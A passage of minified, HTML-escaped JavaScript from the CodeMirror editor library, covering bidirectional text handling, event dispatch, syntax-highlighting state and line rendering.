e=!1,f=0;f&lt;a.length;++f){var g=a[f];(g.from&lt;c&amp;&amp;g.to&gt;b||b==c&amp;&amp;g.to==b)&amp;&amp;(d(Math.max(g.from,b),Math.min(g.to,c),1==g.level?&quot;rtl&quot;:&quot;ltr&quot;),e=!0)}e||d(b,c,&quot;ltr&quot;)}function wa(a,b,c){var d;Vg=null;for(var e=0;e&lt;a.length;++e){var f=a[e];if(f.from&lt;b&amp;&amp;f.to&gt;b)return e;f.to==b&amp;&amp;(f.from!=f.to&amp;&amp;&quot;before&quot;==c?d=e:Vg=e),f.from==b&amp;&amp;(f.from!=f.to&amp;&amp;&quot;before&quot;!=c?d=e:Vg=e)}return null!=d?d:Vg}function xa(a,b){var c=a.order;return null==c&amp;&amp;(c=a.order=Wg(a.text,b)),c}function ya(a,b,c){var d=y(a.text,b+c,c);return d&lt;0||d&gt;a.text.length?null:d}function za(a,b,c){var d=ya(a,b.ch,c);return null==d?null:new J(b.line,d,c&lt;0?&quot;after&quot;:&quot;before&quot;)}function Aa(a,b,c,d,e){if(a){var f=xa(c,b.doc.direction);if(f){var g,h=e&lt;0?p(f):f[0],i=e&lt;0==(1==h.level),j=i?&quot;after&quot;:&quot;before&quot;;if(h.level&gt;0){var k=Zb(b,c);g=e&lt;0?c.text.length-1:0;var l=$b(b,k,g).top;g=z(function(a){return $b(b,k,a).top==l},e&lt;0==(1==h.level)?h.from:h.to-1,g),&quot;before&quot;==j&amp;&amp;(g=ya(c,g,1))}else g=e&lt;0?h.to:h.from;return new J(d,g,j)}}return new J(d,e&lt;0?c.text.length:0,e&lt;0?&quot;before&quot;:&quot;after&quot;)}function Ba(a,b,c,d){var e=xa(b,a.doc.direction);if(!e)return za(b,c,d);c.ch&gt;=b.text.length?(c.ch=b.text.length,c.sticky=&quot;before&quot;):c.ch&lt;=0&amp;&amp;(c.ch=0,c.sticky=&quot;after&quot;);var f=wa(e,c.ch,c.sticky),g=e[f];if(&quot;ltr&quot;==a.doc.direction&amp;&amp;g.level%2==0&amp;&amp;(d&gt;0?g.to&gt;c.ch:g.from&lt;c.ch))return za(b,c,d);var h,i=function(a,c){return ya(b,a instanceof J?a.ch:a,c)},j=function(c){return a.options.lineWrapping?(h=h||Zb(a,b),qc(a,b,h,c)):{begin:0,end:b.text.length}},k=j(&quot;before&quot;==c.sticky?i(c,-1):c.ch);if(&quot;rtl&quot;==a.doc.direction||1==g.level){var l=1==g.level==d&lt;0,m=i(c,l?1:-1);if(null!=m&amp;&amp;(l?m&lt;=g.to&amp;&amp;m&lt;=k.end:m&gt;=g.from&amp;&amp;m&gt;=k.begin)){var n=l?&quot;before&quot;:&quot;after&quot;;return new J(c.line,m,n)}}var o=function(a,b,d){for(var f=function(a,b){return b?new J(c.line,i(a,1),&quot;before&quot;):new J(c.line,a,&quot;after&quot;)};a&gt;=0&amp;&amp;a&lt;e.length;a+=b){var g=e[a],h=b&gt;0==(1!=g.level),j=h?d.begin:i(d.end,-1);if(g.from&lt;=j&amp;&amp;j&lt;g.to)return f(j,h);if(j=h?g.from:i(g.to,-1),d.begin&lt;=j&amp;&amp;j&lt;d.end)return f(j,h)}},p=o(f+d,d,k);if(p)return p;var q=d&gt;0?k.end:i(k.begin,-1);return null==q||d&gt;0&amp;&amp;q==b.text.length||!(p=o(d&gt;0?0:e.length-1,d,j(q)))?null:p}function Ca(a,b){return a._handlers&amp;&amp;a._handlers[b]||Xg}function Da(a,b,c){if(a.removeEventListener)a.removeEventListener(b,c,!1);else if(a.detachEvent)a.detachEvent(&quot;on&quot;+b,c);else{var d=a._handlers,e=d&amp;&amp;d[b];if(e){var f=m(e,c);f&gt;-1&amp;&amp;(d[b]=e.slice(0,f).concat(e.slice(f+1)))}}}function Ea(a,b){var c=Ca(a,b);if(c.length)for(var d=Array.prototype.slice.call(arguments,2),e=0;e&lt;c.length;++e)c[e].apply(null,d)}function Fa(a,b,c){return&quot;string&quot;==typeof b&amp;&amp;(b={type:b,preventDefault:function(){this.defaultPrevented=!0}}),Ea(a,c||b.type,a,b),La(b)||b.codemirrorIgnore}function Ga(a){var b=a._handlers&amp;&amp;a._handlers.cursorActivity;if(b)for(var c=a.curOp.cursorActivityHandlers||(a.curOp.cursorActivityHandlers=[]),d=0;d&lt;b.length;++d)m(c,b[d])==-1&amp;&amp;c.push(b[d])}function Ha(a,b){return Ca(a,b).length&gt;0}function Ia(a){a.prototype.on=function(a,b){Yg(this,a,b)},a.prototype.off=function(a,b){Da(this,a,b)}}function Ja(a){a.preventDefault?a.preventDefault():a.returnValue=!1}function Ka(a){a.stopPropagation?a.stopPropagation():a.cancelBubble=!0}function La(a){return null!=a.defaultPrevented?a.defaultPrevented:0==a.returnValue}function Ma(a){Ja(a),Ka(a)}function Na(a){return a.target||a.srcElement}function Oa(a){var b=a.which;return null==b&amp;&amp;(1&amp;a.button?b=1:2&amp;a.button?b=3:4&amp;a.button&amp;&amp;(b=2)),zg&amp;&amp;a.ctrlKey&amp;&amp;1==b&amp;&amp;(b=3),b}function Pa(a){if(null==Jg){var b=d(&quot;span&quot;,&quot;\u200b&quot;);c(a,d(&quot;span&quot;,[b,document.createTextNode(&quot;x&quot;)])),0!=a.firstChild.offsetHeight&amp;&amp;(Jg=b.offsetWidth&lt;=1&amp;&amp;b.offsetHeight&gt;2&amp;&amp;!(ng&amp;&amp;og&lt;8))}var e=Jg?d(&quot;span&quot;,&quot;\u200b&quot;):d(&quot;span&quot;,&quot;\xa0&quot;,null,&quot;display: inline-block; width: 1px; margin-right: -1px&quot;);return e.setAttribute(&quot;cm-text&quot;,&quot;&quot;),e}function Qa(a){if(null!=Kg)return Kg;var d=c(a,document.createTextNode(&quot;A\u062eA&quot;)),e=Dg(d,0,1).getBoundingClientRect(),f=Dg(d,1,2).getBoundingClientRect();return b(a),!(!e||e.left==e.right)&amp;&amp;(Kg=f.right-e.right&lt;3)}function Ra(a){if(null!=bh)return bh;var b=c(a,d(&quot;span&quot;,&quot;x&quot;)),e=b.getBoundingClientRect(),f=Dg(b,0,1).getBoundingClientRect();return bh=Math.abs(e.left-f.left)&gt;1}function Sa(a,b){arguments.length&gt;2&amp;&amp;(b.dependencies=Array.prototype.slice.call(arguments,2)),ch[a]=b}function Ta(a,b){dh[a]=b}function Ua(a){if(&quot;string&quot;==typeof a&amp;&amp;dh.hasOwnProperty(a))a=dh[a];else if(a&amp;&amp;&quot;string&quot;==typeof a.name&amp;&amp;dh.hasOwnProperty(a.name)){var b=dh[a.name];&quot;string&quot;==typeof b&amp;&amp;(b={name:b}),a=t(b,a),a.name=b.name}else{if(&quot;string&quot;==typeof a&amp;&amp;/^[\w\-]+\/[\w\-]+\+xml$/.test(a))return Ua(&quot;application/xml&quot;);if(&quot;string&quot;==typeof a&amp;&amp;/^[\w\-]+\/[\w\-]+\+json$/.test(a))return Ua(&quot;application/json&quot;)}return&quot;string&quot;==typeof a?{name:a}:a||{name:&quot;null&quot;}}function Va(a,b){b=Ua(b);var c=ch[b.name];if(!c)return Va(a,&quot;text/plain&quot;);var d=c(a,b);if(eh.hasOwnProperty(b.name)){var e=eh[b.name];for(var f in e)e.hasOwnProperty(f)&amp;&amp;(d.hasOwnProperty(f)&amp;&amp;(d[&quot;_&quot;+f]=d[f]),d[f]=e[f])}if(d.name=b.name,b.helperType&amp;&amp;(d.helperType=b.helperType),b.modeProps)for(var g in b.modeProps)d[g]=b.modeProps[g];return d}function Wa(a,b){var c=eh.hasOwnProperty(a)?eh[a]:eh[a]={};k(b,c)}function Xa(a,b){if(b===!0)return b;if(a.copyState)return a.copyState(b);var c={};for(var d in b){var e=b[d];e instanceof Array&amp;&amp;(e=e.concat([])),c[d]=e}return c}function Ya(a,b){for(var c;a.innerMode&amp;&amp;(c=a.innerMode(b),c&amp;&amp;c.mode!=a);)b=c.state,a=c.mode;return c||{mode:a,state:b}}function Za(a,b,c){return!a.startState||a.startState(b,c)}function $a(a,b,c,d){var e=[a.state.modeGen],f={};gb(a,b.text,a.doc.mode,c,function(a,b){return e.push(a,b)},f,d);for(var g=c.state,h=function(d){var g=a.state.overlays[d],h=1,i=0;c.state=!0,gb(a,b.text,g.mode,c,function(a,b){for(var c=h;i&lt;a;){var d=e[h];d&gt;a&amp;&amp;e.splice(h,1,a,e[h+1],d),h+=2,i=Math.min(a,d)}if(b)if(g.opaque)e.splice(c,h-c,a,&quot;overlay &quot;+b),h=c+2;else for(;c&lt;h;c+=2){var f=e[c+1];e[c+1]=(f?f+&quot; &quot;:&quot;&quot;)+&quot;overlay &quot;+b}},f)},i=0;i&lt;a.state.overlays.length;++i)h(i);return c.state=g,{styles:e,classes:f.bgClass||f.textClass?f:null}}function _a(a,b,c){if(!b.styles||b.styles[0]!=a.state.modeGen){var d=ab(a,F(b)),e=b.text.length&gt;a.options.maxHighlightLength&amp;&amp;Xa(a.doc.mode,d.state),f=$a(a,b,d);e&amp;&amp;(d.state=e),b.stateAfter=d.save(!e),b.styles=f.styles,f.classes?b.styleClasses=f.classes:b.styleClasses&amp;&amp;(b.styleClasses=null),c===a.doc.highlightFrontier&amp;&amp;(a.doc.modeFrontier=Math.max(a.doc.modeFrontier,++a.doc.highlightFrontier))}return b.styles}function ab(a,b,c){var d=a.doc,e=a.display;if(!d.mode.startState)return new hh(d,!0,b);var f=hb(a,b,c),g=f&gt;d.first&amp;&amp;B(d,f-1).stateAfter,h=g?hh.fromSaved(d,g,f):new hh(d,Za(d.mode),f);return d.iter(f,b,function(c){bb(a,c.text,h);var d=h.line;c.stateAfter=d==b-1||d%5==0||d&gt;=e.viewFrom&amp;&amp;d&lt;e.viewTo?h.save():null,h.nextLine()}),c&amp;&amp;(d.modeFrontier=h.line),h}function bb(a,b,c,d){var e=a.doc.mode,f=new fh(b,a.options.tabSize,c);for(f.start=f.pos=d||0,&quot;&quot;==b&amp;&amp;cb(e,c.state);!f.eol();)db(e,f,c.state),f.start=f.pos}function cb(a,b){if(a.blankLine)return a.blankLine(b);if(a.innerMode){var c=Ya(a,b);return c.mode.blankLine?c.mode.blankLine(c.state):void 0}}function db(a,b,c,d){for(var e=0;e&lt;10;e++){d&amp;&amp;(d[0]=Ya(a,c).mode);var f=a.token(b,c);if(b.pos&gt;b.start)return f}throw new Error(&quot;Mode &quot;+a.name+&quot; failed to advance stream.&quot;)}function eb(a,b,c,d){var e,f=a.doc,g=f.mode;b=Q(f,b);var h,i=B(f,b.line),j=ab(a,b.line,c),k=new fh(i.text,a.options.tabSize,j);for(d&amp;&amp;(h=[]);(d||k.pos&lt;b.ch)&amp;&amp;!k.eol();)k.start=k.pos,e=db(g,k,j.state),d&amp;&amp;h.push(new ih(k,e,Xa(f.mode,j.state)));return d?h:new ih(k,e,j.state)}function fb(a,b){if(a)for(;;){var c=a.match(/(?:^|\s+)line-(background-)?(\S+)/);if(!c)break;a=a.slice(0,c.index)+a.slice(c.index+c[0].length);var d=c[1]?&quot;bgClass&quot;:&quot;textClass&quot;;null==b[d]?b[d]=c[2]:new RegExp(&quot;(?:^|s)&quot;+c[2]+&quot;(?:$|s)&quot;).test(b[d])||(b[d]+=&quot; &quot;+c[2])}return a}function gb(a,b,c,d,e,f,g){var h=c.flattenSpans;null==h&amp;&amp;(h=a.options.flattenSpans);var i,j=0,k=null,l=new fh(b,a.options.tabSize,d),m=a.options.addModeClass&amp;&amp;[null];for(&quot;&quot;==b&amp;&amp;fb(cb(c,d.state),f);!l.eol();){if(l.pos&gt;a.options.maxHighlightLength?(h=!1,g&amp;&amp;bb(a,b,d,l.pos),l.pos=b.length,i=null):i=fb(db(c,l,d.state,m),f),m){var n=m[0].name;n&amp;&amp;(i=&quot;m-&quot;+(i?n+&quot; &quot;+i:n))}if(!h||k!=i){for(;j&lt;l.start;)j=Math.min(l.start,j+5e3),e(j,k);k=i}l.start=l.pos}for(;j&lt;l.pos;){var o=Math.min(l.pos,j+5e3);e(o,k),j=o}}function hb(a,b,c){for(var d,e,f=a.doc,g=c?-1:b-(a.doc.mode.innerMode?1e3:100),h=b;h&gt;g;--h){if(h&lt;=f.first)return f.first;var i=B(f,h-1),j=i.stateAfter;if(j&amp;&amp;(!c||h+(j instanceof gh?j.lookAhead:0)&lt;=f.modeFrontier))return h;var k=l(i.text,null,a.options.tabSize);(null==e||d&gt;k)&amp;&amp;(e=h-1,d=k)}return e}function ib(a,b){if(a.modeFrontier=Math.min(a.modeFrontier,b),!(a.highlightFrontier&lt;b-10)){for(var c=a.first,d=b-1;d&gt;c;d--){var e=B(a,d).stateAfter;if(e&amp;&amp;(!(e instanceof gh)||d+e.lookAhead&lt;b)){c=d+1;break}}a.highlightFrontier=Math.min(a.highlightFrontier,c)}}function jb(a,b,c,d){a.text=b,a.stateAfter&amp;&amp;(a.stateAfter=null),a.styles&amp;&amp;(a.styles=null),null!=a.order&amp;&amp;(a.order=null),ca(a),da(a,c);var e=d?d(a):1;e!=a.height&amp;&amp;E(a,e)}function kb(a){a.parent=null,ca(a)}function lb(a,b){if(!a||/^\s*$/.test(a))return null;var c=b.addModeClass?mh:lh;return c[a]||(c[a]=a.replace(/\S+/g,&quot;cm-$&amp;&quot;))}function mb(a,b){var c=e(&quot;span&quot;,null,null,pg?&quot;padding-right: .1px&quot;:null),d={pre:e(&quot;pre&quot;,[c],&quot;CodeMirror-line&quot;),content:c,col:0,pos:0,cm:a,trailingSpace:!1,splitSpaces:(ng||pg)&amp;&amp;a.getOption(&quot;lineWrapping&quot;)};b.measure={};for(var f=0;f&lt;=(b.rest?b.rest.length:0);f++){var g=f?b.rest[f-1]:b.line,h=void 0;d.pos=0,d.addToken=ob,Qa(a.display.measure)&amp;&amp;(h=xa(g,a.doc.direction))&amp;&amp;(d.addToken=qb(d.addToken,h)),d.map=[];var j=b!=a.display.externalMeasured&amp;&amp;F(g);sb(g,d,_a(a,g,j)),g.styleClasses&amp;&amp;(g.styleClasses.bgClass&amp;&amp;(d.bgClass=i(g.styleClasses.bgClass,d.bgClass||&quot;&quot;)),g.styleClasses.textClass&amp;&amp;(d.textClass=i(g.styleClasses.textClass,d.textClass||&quot;&quot;))),0==d.map.length&amp;&amp;d.map.push(0,0,d.content.appendChild(Pa(a.display.measure))),0==f?(b.measure.map=d.map,b.measure.cache={}):((b.measure.maps||(b.measure.maps=[])).push(d.map),(b.measure.caches||(b.measure.caches=[])).push({}))}if(pg){var k=d.content.lastChild;(/\bcm-tab\b/.test(k.className)||k.querySelector&amp;&amp;k.querySelector(&quot;.cm-tab&quot;))&amp;&amp;(d.content.className=&quot;cm-tab-wrap-hack&quot;)}return Ea(a,&quot;renderLine&quot;,a,b.line,d.pre),d.pre.className&amp;&amp;(d.textClass=i(d.pre.className,d.textClass||&quot;&quot;)),d}function nb(a){var b=d(&quot;span&quot;,&quot;\u2022&quot;,&quot;cm-invalidchar&quot;);return b.title=&quot;\\u&quot;+a.charCodeAt(0).toString(16),b.setAttribute(&quot;aria-label&quot;,b.title),b}function ob(a,b,c,e,f,g,h){if(b){var i,j=a.splitSpaces?pb(b,a.trailingSpace):b,k=a.cm.state.specialChars,l=!1;if(k.test(b)){i=document.createDocumentFragment();for(var m=0;;){k.lastIndex=m;var n=k.exec(b),p=n?n.index-m:b.length-m;if(p){var q=document.createTextNode(j.slice(m,m+p));ng&amp;&amp;og&lt;9?i.appendChild(d(&quot;span&quot;,[q])):i.appendChild(q),a.map.push(a.pos,a.pos+p,q),a.col+=p,a.pos+=p}if(!n)break;m+=p+1;var r=void 0;if(&quot;\t&quot;==n[0]){var s=a.cm.options.tabSize,t=s-a.col%s;r=i.appendChild(d(&quot;span&quot;,o(t),&quot;cm-tab&quot;)),r.setAttribute(&quot;role&quot;,&quot;presentation&quot;),r.setAttribute(&quot;cm-text&quot;,&quot;\t&quot;),a.col+=t}else&quot;\r&quot;==n[0]||&quot;\n&quot;==n[0]?(r=i.appendChild(d(&quot;span&quot;,&quot;\r&quot;==n[0]?&quot;\u240d&quot;:&quot;\u2424&quot;,&quot;cm-invalidchar&quot;)),r.setAttribute(&quot;cm-text&quot;,n[0]),a.col+=1):(r=a.cm.options.specialCharPlaceholder(n[0]),r.setAttribute(&quot;cm-text&quot;,n[0]),ng&amp;&amp;og&lt;9?i.appendChild(d(&quot;span&quot;,[r])):i.appendChild(r),a.col+=1);a.map.push(a.pos,a.pos+1,r),a.pos++}}else a.col+=b.length,i=document.createTextNode(j),a.map.push(a.pos,a.pos+b.length,i),ng&amp;&amp;og&lt;9&amp;&amp;(l=!0),a.pos+=b.length;if(a.trailingSpace=32==j.charCodeAt(b.length-1),c||e||f||l||h){var u=c||&quot;&quot;;e&amp;&amp;(u+=e),f&amp;&amp;(u+=f);var v=d(&quot;span&quot;,[i],u,h);return g&amp;&amp;(v.title=g),a.content.appendChild(v)}a.content.appendChild(i)}}function pb(a,b){if(a.length&gt;1&amp;&amp;!/  /.test(a))return a;for(var c=b,d=&quot;&quot;,e=0;e&lt;a.length;e++){var f=a.charAt(e);&quot; &quot;!=f||!c||e!=a.length-1&amp;&amp;32!=a.charCodeAt(e+1)||(f=&quot;\xa0&quot;),d+=f,c=&quot; &quot;==f}return d}function qb(a,b){return function(c,d,e,f,g,h,i){e=e?e+&quot; cm-force-border&quot;:&quot;cm-force-border&quot;;for(var j=c.pos,k=j+d.length;;){for(var l=void 0,m=0;m&lt;b.length&amp;&amp;(l=b[m],!(l.to&gt;j&amp;&amp;l.from&lt;=j));m++);if(l.to&gt;=k)return a(c,d,e,f,g,h,i);a(c,d.slice(0,l.to-j),e,f,null,h,i),f=null,d=d.slice(l.to-j),j=l.to}}}function rb(a,b,c,d){var e=!d&amp;&amp;c.widgetNode;e&amp;&amp;a.map.push(a.pos,a.pos+b,e),!d&amp;&amp;a.cm.display.input.needsContentAttribute&amp;&amp;(e||(e=a.content.appendChild(document.createElement(&quot;span&quot;))),e.setAttribute(&quot;cm-marker&quot;,c.id)),e&amp;&amp;(a.cm.display.input.setUneditable(e),a.content.appendChild(e)),a.pos+=b,a.trailingSpace=!1}function sb(a,b,c){var d=a.markedSpans,e=a.text,f=0;if(d)for(var g,h,i,j,k,l,m,n=e.length,o=0,p=1,q=&quot;&quot;,r=0;;){if(r==o){i=j=k=l=h=&quot;&quot;,m=null,r=1/0;for(var s=[],t=void 0,u=0;u&lt;d.length;++u){var v=d[u],w=v.marker;&quot;bookmark&quot;==w.type&amp;&amp;v.from==o&amp;&amp;w.widgetNode?s.push(w):v.from&lt;=o&amp;&amp;(null==v.to||v.to&gt;o||w.collapsed&amp;&amp;v.to==o&amp;&amp;v.from==o)?(null!=v.to&amp;&amp;v.to!=o&amp;&amp;r&gt;v.to&amp;&amp;(r=v.to,j=&quot;&quot;),w.className&amp;&amp;(i+=&quot; &quot;+w.className),w.css&amp;&amp;(h=(h?h+&quot;;&quot;:&quot;&quot;)+w.css),w.startStyle&amp;&amp;v.from==o&amp;&amp;(k+=&quot; &quot;+w.startStyle),w.endStyle&amp;&amp;v.to==r&amp;&amp;(t||(t=[])).push(w.endStyle,v.to),w.title&amp;&amp;!l&amp;&amp;(l=w.title),w.collapsed&amp;&amp;(!m||ga(m.marker,w)&lt;0)&amp;&amp;(m=v)):v.from&gt;o&amp;&amp;r&gt;v.from&amp;&amp;(r=v.from)}if(t)for(var x=0;x&lt;t.length;x+=2)t[x+1]==r&amp;&amp;(j+=&quot; &quot;+t[x]);if(!m||m.from==o)for(var y=0;y&lt;s.length;++y)rb(b,0,s[y]);if(m&amp;&amp;(m.from||0)==o){if(rb(b,(null==m.to?n+1:m.to)-o,m.marker,null==m.from),null==m.to)return;m.to==o&amp;&amp;(m=!1)}}if(o&gt;=n)break;for(var z=Math.min(n,r);;){if(q){var A=o+q.length;if(!m){var B=A&gt;z?q.slice(0,z-o):q;b.addToken(b,B,g?g+i:i,k,o+B.length==r?j:&quot;&quot;,l,h)}if(A&gt;=z){q=q.slice(z-o),o=z;break}o=A,k=&quot;&quot;}q=e.slice(f,f=c[p++]),g=lb(c[p++],b.cm.options)}}else for(var C=1;C&lt;c.length;C+=2)b.addToken(b,e.slice(f,f=c[C]),lb(c[C+1],b.cm.options))}function tb(a,b,c){this.line=b,this.rest=na(b),this.size=this.rest?F(p(this.rest))-c+1:1,this.node=this.text=null,this.hidden=qa(a,b)}function ub(a,b,c){for(var d,e=[],f=b;f&lt;c;f=d){var g=new tb(a.doc,B(a.doc,f),f);d=f+g.size,e.push(g)}return e}function vb(a){nh?nh.ops.push(a):a.ownsGroup=nh={ops:[a],delayedCallbacks:[]}}function wb(a){var b=a.delayedCallbacks,c=0;do{for(;c&lt;b.length;c++)b[c].call(null);for(var d=0;d&lt;a.ops.length;d++){var e=a.ops[d];if(e.cursorActivityHandlers)for(;e.cursorActivityCalled&lt;e.cursorActivityHandlers.length;)e.cursorActivityHandlers[e.cursorActivityCalled++].call(null,e.cm)}}while(c&lt;b.length)}function xb(a,b){var c=a.ownsGroup;if(c)try{wb(c)}finally{nh=null,b(c)}}function yb(a,b){var c=Ca(a,b);if(c.length){var d,e=Array.prototype.slice.call(arguments,2);nh?d=nh.delayedCallbacks:oh?d=oh:(d=oh=[],setTimeout(zb,0));for(var f=function(a){d.push(function(){return c[a].apply(null,e)})},g=0;g&lt;c.length;++g)f(g)}}function zb(){var a=oh;oh=null;for(var b=0;b&lt;a.length;++b)a[b]()}function Ab(a,b,c,d){for(var e=0;e&lt;b.changes.length;e++){var f=b.changes[e];&quot;text&quot;==f?Eb(a,b):&quot;gutter&quot;==f?Gb(a,b,c,d):&quot;class&quot;==f?Fb(a,b):&quot;widget&quot;==f&amp;&amp;Hb(a,b,d)}b.changes=null}function Bb(a){return a.node==a.text&amp;&amp;(a.node=d(&quot;div&quot;,null,null,&quot;position: relative&quot;),a.text.parentNode&amp;&amp;a.text.parentNode.replaceChild(a.node,a.text),a.node.appendChild(a.text),ng&amp;&amp;og&lt;8&amp;&amp;(a.node.style.zIndex=2)),a.node}function Cb(a,b){var c=b.bgClass?b.bgClass+&quot; &quot;+(b.line.bgClass||&quot;&quot;):b.line.bgClass;if(c&amp;&amp;(c+=&quot; CodeMirror-linebackground&quot;),b.background)c?b.background.className=c:(b.background.parentNode.removeChild(b.background),b.background=null);else if(c){var e=Bb(b);b.background=e.insertBefore(d(&quot;div&quot;,null,c),e.firstChild),a.display.input.setUneditable(b.background)}}function Db(a,b){var c=a.display.externalMeasured;return c&amp;&amp;c.line==b.line?(a.display.externalMeasured=null,b.measure=c.measure,c.built):mb(a,b)}function Eb(a,b){var c=b.text.className,d=Db(a,b);b.text==b.node&amp;&amp;(b.node=d.pre),b.text.parentNode.replaceChild(d.pre,b.text),b.text=d.pre,d.bgClass!=b.bgClass||d.textClass!=b.textClass?(b.bgClass=d.bgClass,b.textClass=d.textClass,Fb(a,b)):c&amp;&amp;(b.text.className=c)}function Fb(a,b){Cb(a,b),b.line.wrapClass?Bb(b).className=b.line.wrapClass:b.node!=b.text&amp;&amp;(b.node.className=&quot;&quot;);var c=b.textClass?b.textClass+&quot; &quot;+(b.line.textClass||&quot;&quot;):b.line.textClass;b.text.className=c||&quot;&quot;}function Gb(a,b,c,e){if(b.gutter&amp;&amp;(b.node.removeChild(b.gutter),b.gutter=null),b.gutterBackground&amp;&amp;(b.node.removeChild(b.gutterBackground),b.gutterBackground=null),b.line.gutterClass){var f=Bb(b);b.gutterBackground=d(&quot;div&quot;,null,&quot;CodeMirror-gutter-background &quot;+b.line.gutterClass,&quot;left: &quot;+(a.options.fixedGutter?e.fixedPos:-e.gutterTotalWidth)+&quot;px; width: &quot;+e.gutterTotalWidth+&quot;px&quot;),a.display.input.setUneditable(b.gutterBackground),f.insertBefore(b.gutterBackground,b.text)}var g=b.line.gutterMarkers;if(a.options.lineNumbers||g){var h=Bb(b),i=b.gutter=d(&quot;div&quot;,null,&quot;CodeMirror-gutter-wrapper&quot;,&quot;left: &quot;+(a.options.fixedGutter?e.fixedPos:-e.gutterTotalWidth)+&quot;px&quot;);if(a.display.input.setUneditable(i),h.insertBefore(i,b.text),b.line.gutterClass&amp;&amp;(i.className+=&quot; &quot;+b.line.gutterClass),!a.options.lineNumbers||g&amp;&amp;g[&quot;CodeMirror-linenumbers&quot;]||(b.lineNumber=i.appendChild(d(&quot;div&quot;,I(a.options,c),&quot;CodeMirror-linenumber CodeMirror-gutter-elt&quot;,&quot;left: &quot;+e.gutterLeft[&quot;CodeMirror-linenumbers&quot;]+&quot;px; width: &quot;+a.display.lineNumInnerWidth+&quot;px&quot;))),g)for(var j=0;j&lt;a.options.gutters.length;++j){var k=a.options.gutters[j],l=g.hasOwnProperty(k)&amp;&amp;g[k];l&amp;&amp;i.appendChild(d(&quot;div&quot;,[l],&quot;CodeMirror-gutter-elt&quot;,&quot;left: &quot;+e.gutterLeft[k]+&quot;px; width: &quot;+e.gutterWidth[k]+&quot;px&quot;))}}}function Hb(a,b,c){b.alignable&amp;&amp;(b.alignable=null);for(var d=b.node.firstChild,e=void 0;d;d=e)e=d.nextSibling,&quot;CodeMirror-linewidget&quot;==d.className&amp;&amp;b.node.removeChild(d);Jb(a,b,c)}function Ib(a,b,c,d){var e=Db(a,b);return b.text=b.node=e.pre,e.bgClass&amp;&amp;(b.bgClass=e.bgClass),e.textClass&amp;&amp;(b.textClass=e.textClass),Fb(a,b),Gb(a,b,c,d),Jb(a,b,d),b.node}function Jb(a,b,c){if(Kb(a,b.line,b,c,!0),b.rest)for(var d=0;d&lt;b.rest.length;d++)Kb(a,b.rest[d],b,c,!1)}function Kb(a,b,c,e,f){if(b.widgets)for(var g=Bb(c),h=0,i=b.widgets;h&lt;i.length;++h){var j=i[h],k=d(&quot;div&quot;,[j.node],&quot;CodeMirror-linewidget&quot;);j.handleMouseEvents||k.setAttribute(&quot;cm-ignore-events&quot;,&quot;true&quot;),Lb(j,k,c,e),a.display.input.setUneditable(k),f&amp;&amp;j.above?g.insertBefore(k,c.gutter||c.text):g.appendChild(k),yb(j,&quot;redraw&quot;)}}function Lb(a,b,c,d){if(a.noHScroll){(c.alignable||(c.alignable=[])).push(b);var e=d.wrapperWidth;b.style.left=d.fixedPos+&quot;px&quot;,a.coverGutter||(e-=d.gutterTotalWidth,b.style.paddingLeft=d.gutterTotalWidth+&quot;px&quot;),b.style.width=e+&quot;px&quot;}a.coverGutter&amp;&amp;(b.style.zIndex=5,b.style.position=&quot;relative&quot;,a.noHScroll||(b.style.marginLeft=-d.gutterTotalWidth+&quot;px&quot;))}function Mb(a){if(null!=a.height)return a.height;var b=a.doc.cm;if(!b)return 0;if(!f(document.body,a.node)){var e=&quot;position: relative;&quot;;a.coverGutter&amp;&amp;(e+=&quot;margin-left: -&quot;+b.display.gutters.offsetWidth+&quot;px;&quot;),a.noHScroll&amp;&amp;(e+=&quot;width: &quot;+b.display.wrapper.clientWidth+&quot;px;&quot;),c(b.display.measure,d(&quot;div&quot;,[a.node],null,e))}return a.height=a.node.parentNode.offsetHeight}function Nb(a,b){for(var c=Na(b);c!=a.wrapper;c=c.parentNode)if(!c||1==c.nodeType&amp;&amp;&quot;true&quot;==c.getAttribute(&quot;cm-ignore-events&quot;)||c.parentNode==a.sizer&amp;&amp;c!=a.mover)return!0}function Ob(a){return a.lineSpace.offsetTop}function Pb(a){return a.mover.offsetHeight-a.lineSpace.offsetHeight}function Qb(a){if(a.cachedPaddingH)return a.cachedPaddingH;var b=c(a.measure,d(&quot;pre&quot;,&quot;x&quot;)),e=window.getComputedStyle?window.getComputedStyle(b):b.currentStyle,f={left:parseInt(e.paddingLeft),right:parseInt(e.paddingRight)};return isNaN(f.left)||isNaN(f.right)||(a.cachedPaddingH=f),f}function Rb(a){return Lg-a.display.nativeBarWidth}function Sb(a){return a.display.scroller.clientWidth-Rb(a)-a.display.barWidth}function Tb(a){return a.display.scroller.clientHeight-Rb(a)-a.display.barHeight}function Ub(a,b,c){var d=a.options.lineWrapping,e=d&amp;&amp;Sb(a);if(!b.measure.heights||d&amp;&amp;b.measure.width!=e){var f=b.measure.heights=[];if(d){b.measure.width=e;for(var g=b.text.firstChild.getClientRects(),h=0;h&lt;g.length-1;h++){var i=g[h],j=g[h+1];Math.abs(i.bottom-j.bottom)&gt;2&amp;&amp;f.push((i.bottom+j.top)/2-c.top)}}f.push(c.bottom-c.top)}}function Vb(a,b,c){if(a.line==b)return{map:a.measure.map,cache:a.measure.cache};for(var d=0;d&lt;a.rest.length;d++)if(a.rest[d]==b)return{map:a.measure.maps[d],cache:a.measure.caches[d]};for(var e=0;e&lt;a.rest.length;e++)if(F(a.rest[e])&gt;c)return{map:a.measure.maps[e],cache:a.measure.caches[e],before:!0}}function Wb(a,b){b=la(b);var d=F(b),e=a.display.externalMeasured=new tb(a.doc,b,d);e.lineN=d;var f=e.built=mb(a,e);return e.text=f.pre,c(a.display.lineMeasure,f.pre),e}function Xb(a,b,c,d){return $b(a,Zb(a,b),c,d)}function Yb(a,b){if(b&gt;=a.display.viewFrom&amp;&amp;b&lt;a.display.viewTo)return a.display.view[zc(a,b)];var c=a.display.externalMeasured;return c&amp;&amp;b&gt;=c.lineN&amp;&amp;b&lt;c.lineN+c.size?c:void 0}function Zb(a,b){var c=F(b),d=Yb(a,c);d&amp;&amp;!d.text?d=null:d&amp;&amp;d.changes&amp;&amp;(Ab(a,d,c,uc(a)),a.curOp.forceUpdate=!0),d||(d=Wb(a,b));var e=Vb(d,b,c);return{line:b,view:d,rect:null,map:e.map,cache:e.cache,before:e.before,hasHeights:!1}}function $b(a,b,c,d,e){b.before&amp;&amp;(c=-1);var f,g=c+(d||&quot;&quot;);return 